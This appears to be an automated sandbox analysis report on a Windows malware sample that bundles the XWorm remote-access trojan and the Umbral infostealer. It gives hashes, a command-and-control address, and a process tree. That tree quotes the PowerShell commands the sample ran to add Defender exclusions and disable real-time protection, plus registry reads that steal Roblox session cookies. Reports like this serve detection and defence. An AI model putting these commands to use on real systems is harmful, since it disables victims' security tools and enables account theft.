Analysis
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max time kernel
146s -
max time network
153s -
platform
windows11-21h2_x64 -
resource
win11-20250217-en -
resource tags
arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-02-2025 10:42
Static task
static1
Behavioral task
behavioral1
Sample
obxod266dev.exe
Resource
win10ltsc2021-20250217-en
Behavioral task
behavioral2
Sample
obxod266dev.exe
Resource
win7-20241010-en
Behavioral task
behavioral3
Sample
obxod266dev.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral4
Sample
obxod266dev.exe
Resource
win10ltsc2021-20250217-en
General
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Target
obxod266dev.exe
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Size
329KB
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MD5
31fc82eeaed45f2389b57ffb9d8f6ea2
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SHA1
fd46d4e307b09a372a3bfc0d88b87eeccaf77912
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SHA256
dc7f8c7c39bb043da2c19a03504c499e0af367fefee810a8190c1119992e2248
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SHA512
418bca3b27a8354e559de8e1333ebc8ff42a5d4f07b42a0ec95775c9a52feb1d61a00006ceefef3be8e30dc07c0fb3123440413a2b16d8d9cc6e468cb9d5c962
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SSDEEP
6144:3aDaK7MooumCpZSApAWl2IenY7YDlw+JmS1r8+CMCX:3LK7sk2IKYkp/mYPCX
Malware Config
Extracted
xworm
25.ip.gl.ply.gg:59054
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Install_directory
%AppData%
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install_file
svchost.exe
Signatures
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Detect Umbral payload 2 IoCs
resource yara_rule behavioral5/files/0x001c00000002aeb5-16.dat family_umbral behavioral5/memory/2772-25-0x000002763DB30000-0x000002763DB70000-memory.dmp family_umbral -
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral5/files/0x000c000000026995-6.dat family_xworm behavioral5/memory/3988-26-0x0000000000FA0000-0x0000000000FBA000-memory.dmp family_xworm -
Umbral family
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Xworm family
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Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4144 powershell.exe 4820 powershell.exe 1504 powershell.exe 844 powershell.exe 2432 powershell.exe 4044 powershell.exe 1664 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk obxod 266dev.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk obxod 266dev.exe -
Executes dropped EXE 2 IoCs
pid Process 3988 obxod 266dev.exe 2772 Umbral.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-501547156-4130638328-323075719-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" obxod 266dev.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com 4 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2432 powershell.exe 2432 powershell.exe 4144 powershell.exe 4144 powershell.exe 4820 powershell.exe 4820 powershell.exe 1504 powershell.exe 1504 powershell.exe 3988 obxod 266dev.exe 2772 Umbral.exe 844 powershell.exe 844 powershell.exe 4044 powershell.exe 4044 powershell.exe 1664 powershell.exe 1664 powershell.exe 4732 powershell.exe 4732 powershell.exe -
Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeDebugPrivilege 3988 obxod 266dev.exe Token: SeDebugPrivilege 2772 Umbral.exe Token: SeIncreaseQuotaPrivilege 1552 wmic.exe Token: SeSecurityPrivilege 1552 wmic.exe Token: SeTakeOwnershipPrivilege 1552 wmic.exe Token: SeLoadDriverPrivilege 1552 wmic.exe Token: SeSystemProfilePrivilege 1552 wmic.exe Token: SeSystemtimePrivilege 1552 wmic.exe Token: SeProfSingleProcessPrivilege 1552 wmic.exe Token: SeIncBasePriorityPrivilege 1552 wmic.exe Token: SeCreatePagefilePrivilege 1552 wmic.exe Token: SeBackupPrivilege 1552 wmic.exe Token: SeRestorePrivilege 1552 wmic.exe Token: SeShutdownPrivilege 1552 wmic.exe Token: SeDebugPrivilege 1552 wmic.exe Token: SeSystemEnvironmentPrivilege 1552 wmic.exe Token: SeRemoteShutdownPrivilege 1552 wmic.exe Token: SeUndockPrivilege 1552 wmic.exe Token: SeManageVolumePrivilege 1552 wmic.exe Token: 33 1552 wmic.exe Token: 34 1552 wmic.exe Token: 35 1552 wmic.exe Token: 36 1552 wmic.exe Token: SeIncreaseQuotaPrivilege 1552 wmic.exe Token: SeSecurityPrivilege 1552 wmic.exe Token: SeTakeOwnershipPrivilege 1552 wmic.exe Token: SeLoadDriverPrivilege 1552 wmic.exe Token: SeSystemProfilePrivilege 1552 wmic.exe Token: SeSystemtimePrivilege 1552 wmic.exe Token: SeProfSingleProcessPrivilege 1552 wmic.exe Token: SeIncBasePriorityPrivilege 1552 wmic.exe Token: SeCreatePagefilePrivilege 1552 wmic.exe Token: SeBackupPrivilege 1552 wmic.exe Token: SeRestorePrivilege 1552 wmic.exe Token: SeShutdownPrivilege 1552 wmic.exe Token: SeDebugPrivilege 1552 wmic.exe Token: SeSystemEnvironmentPrivilege 1552 wmic.exe Token: SeRemoteShutdownPrivilege 1552 wmic.exe Token: SeUndockPrivilege 1552 wmic.exe Token: SeManageVolumePrivilege 1552 wmic.exe Token: 33 1552 wmic.exe Token: 34 1552 wmic.exe Token: 35 1552 wmic.exe Token: 36 1552 wmic.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeDebugPrivilege 4144 powershell.exe Token: SeDebugPrivilege 4820 powershell.exe Token: SeDebugPrivilege 1504 powershell.exe Token: SeDebugPrivilege 3988 obxod 266dev.exe Token: SeDebugPrivilege 844 powershell.exe Token: SeDebugPrivilege 4044 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 4732 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3988 obxod 266dev.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3764 wrote to memory of 3988 3764 obxod266dev.exe 79 PID 3764 wrote to memory of 3988 3764 obxod266dev.exe 79 PID 3764 wrote to memory of 2772 3764 obxod266dev.exe 80 PID 3764 wrote to memory of 2772 3764 obxod266dev.exe 80 PID 2772 wrote to memory of 1552 2772 Umbral.exe 81 PID 2772 wrote to memory of 1552 2772 Umbral.exe 81 PID 3988 wrote to memory of 2432 3988 obxod 266dev.exe 84 PID 3988 wrote to memory of 2432 3988 obxod 266dev.exe 84 PID 3988 wrote to memory of 4144 3988 obxod 266dev.exe 86 PID 3988 wrote to memory of 4144 3988 obxod 266dev.exe 86 PID 3988 wrote to memory of 4820 3988 obxod 266dev.exe 88 PID 3988 wrote to memory of 4820 3988 obxod 266dev.exe 88 PID 3988 wrote to memory of 1504 3988 obxod 266dev.exe 90 PID 3988 wrote to memory of 1504 3988 obxod 266dev.exe 90 PID 2772 wrote to memory of 4704 2772 Umbral.exe 92 PID 2772 wrote to memory of 4704 2772 Umbral.exe 92 PID 2772 wrote to memory of 844 2772 Umbral.exe 94 PID 2772 wrote to memory of 844 2772 Umbral.exe 94 PID 2772 wrote to memory of 4044 2772 Umbral.exe 96 PID 2772 wrote to memory of 4044 2772 Umbral.exe 96 PID 2772 wrote to memory of 1664 2772 Umbral.exe 98 PID 2772 wrote to memory of 1664 2772 Umbral.exe 98 PID 2772 wrote to memory of 4732 2772 Umbral.exe 100 PID 2772 wrote to memory of 4732 2772 Umbral.exe 100 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4704 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\obxod 266dev.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'obxod 266dev.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4144
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4820
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Users\Admin\AppData\Roaming\Umbral.exe"C:\Users\Admin\AppData\Roaming\Umbral.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1552
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"3⤵
- Views/modifies file attributes
PID:4704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:844
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4732
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
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Filesize
948B
MD5afb713845839b94cf11694f6fb6539cf
SHA145da779016082e2c77b445a6aab14b6d57dd5aec
SHA2564ef8faba766d3e9f20341b56506209dddef98333741daf91e4f671269a5eb42e
SHA512ec34ee0c2c75729467d415079d2f455bff7a9691483bf32c2d9f5efe6fc1bca061c952673c741ee6e8bf494b482a019d8e367a60d975dbdad9ed12f6d0035f9d
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Filesize
1KB
MD57332074ae2b01262736b6fbd9e100dac
SHA122f992165065107cc9417fa4117240d84414a13c
SHA256baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa
SHA5124ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2
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Filesize
944B
MD5d0a4a3b9a52b8fe3b019f6cd0ef3dad6
SHA1fed70ce7834c3b97edbd078eccda1e5effa527cd
SHA25621942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31
SHA5121a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b
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Filesize
944B
MD5e07eea85a8893f23fb814cf4b3ed974c
SHA18a8125b2890bbddbfc3531d0ee4393dbbf5936fe
SHA25683387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea
SHA5129d4808d8a261005391388b85da79e4c5396bdded6e7e5ce3a3a23e7359d1aa1fb983b4324f97e0afec6e8ed9d898322ca258dd7cda654456dd7e84c9cbd509df
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Filesize
944B
MD580b42fe4c6cf64624e6c31e5d7f2d3b3
SHA11f93e7dd83b86cb900810b7e3e43797868bf7d93
SHA256ee20a5b38a6674366efda276dbbf0b43eb54efd282acfc1033042f6b53a80d4d
SHA51283c1c744c15a8b427a1d3af677ec3bfd0353875a60fe886c41570981e17467ebbb59619b960ca8c5c3ab1430946b0633ea200b7e7d84ab6dca88b60c50055573
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Filesize
944B
MD555f30089624be31af328ba4e012ae45a
SHA1121c28de7a5afe828ea395d94be8f5273817b678
SHA25628e49da06bd64f06a4cf1a9caead354b94b4d11d5dc916a92da0ed96bad00473
SHA512ef13cc5b22c754c7816e08b421de64bc8df527d7166e970454139410b2d381b53ebf288ec73013cdce92f0ac226d9ed5b342341db52a8cb0b85b5ad4d3090787
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Filesize
944B
MD59deb31d63c251368f1dcf297650b2997
SHA102a6835b82971ae7dba9d97e528412fac5247714
SHA2569c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893
SHA5120d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
232KB
MD5e486d8aafa368a43a56987dd4d80aa75
SHA18851fe89928a47a58b50348d9a4458f24e2725f9
SHA256596ac7d2aa525ceb7b82aec1e6376d34f36649f028de442fb0a0021e380db136
SHA512abe413e1277c0ac103778822dcd3f6b03f315fad83731af10284a68fca8ecfa2d2c6b9d9c3e0ec55803a2b31d03ae9c863c430eba23954ccc5f82b2a6d21e573
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Filesize
80KB
MD53598f860aacfe53b00c305715a6c7b2f
SHA170640b2e8a71017cdf5fb8e91fe0b065f89a064b
SHA256b4b8385381c3bb23d821f179a73ff19083d15f7cc6e1c9cc2235da3c382db241
SHA5120b2bfa9e701ba126acb6bf9b9b5df26e8558a59708659ec2981173267d277f44e6b6575f1ceb945a86705796ea8f50c5cd1617ee45fdaabdc68af9b2022e654c